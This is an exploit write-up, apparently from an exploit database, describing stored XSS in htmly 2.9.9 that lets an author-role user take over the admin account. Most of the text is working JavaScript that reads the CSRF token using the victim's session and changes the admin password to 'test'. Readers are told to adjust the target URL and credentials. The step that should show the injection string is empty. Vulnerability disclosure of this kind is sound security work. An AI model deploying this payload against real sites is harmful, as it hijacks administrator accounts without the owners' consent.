# Exploit Title: Stored XSS to Account Takeover - htmlyv2.9.9 # Date: 9/2024 # Exploit Author: Andrey Stoykov # Version: 2.9.9 # Tested on: Ubuntu 22.04 # Blog: https://msecureltd.blogspot.com/2024/08/friday-fun-pentest-series-9-stored-xss.html Description: - It was found that the application suffers from stored XSS - Low level user having an "author" role can takeover admin account and change their password via posting a malicious post with a reference to a payload hosted on attacker domain Stored XSS to Account Takeover #1: Steps to Reproduce: 1. Visit "My Posts" > "Add New Post" > "Regular Post" 2. Enter the following payload into the "Content" referencing externally hosted POC in Javascript: 3. Upon visiting the blog post, the admin account password would be changed to "test" 4. In the XSS payload pasted below need to adjust the "passwordChangeUrl", "username" and "password" // Javascript POC // Function to fetch CSRF token and perform password change (function() { // URL of the password change page const passwordChangePageUrl = ' http://192.168.159.191/htmly/edit/password'; // Function to fetch the CSRF token function fetchCsrfToken() { fetch(passwordChangePageUrl, { method: 'GET', credentials: 'include' // Include cookies for the current session }) .then(response => response.text()) .then(html => { // Parse the HTML to find the CSRF token const parser = new DOMParser(); const doc = parser.parseFromString(html, 'text/html'); const csrfTokenInput = doc.querySelector('input[name="csrf_token"]'); if (csrfTokenInput) { const csrfToken = csrfTokenInput.value; console.log('CSRF Token:', csrfToken); changePassword(csrfToken); } else { console.error('CSRF token not found'); } }) .catch(error => console.error('Error fetching CSRF token:', error)); } // Function to change the password function changePassword(csrfToken) { const postData = new URLSearchParams(); postData.append('csrf_token', csrfToken); postData.append('username', 'admin'); postData.append('password', 'test'); fetch(passwordChangePageUrl, { method: 'POST', body: postData, headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, credentials: 'include' // Include cookies for the current session }) .then(response => response.text()) .then(data => { console.log('Password change response:', data); }) .catch(error => console.error('Error changing password:', error)); } // Trigger the CSRF token fetch and password change fetchCsrfToken(); })();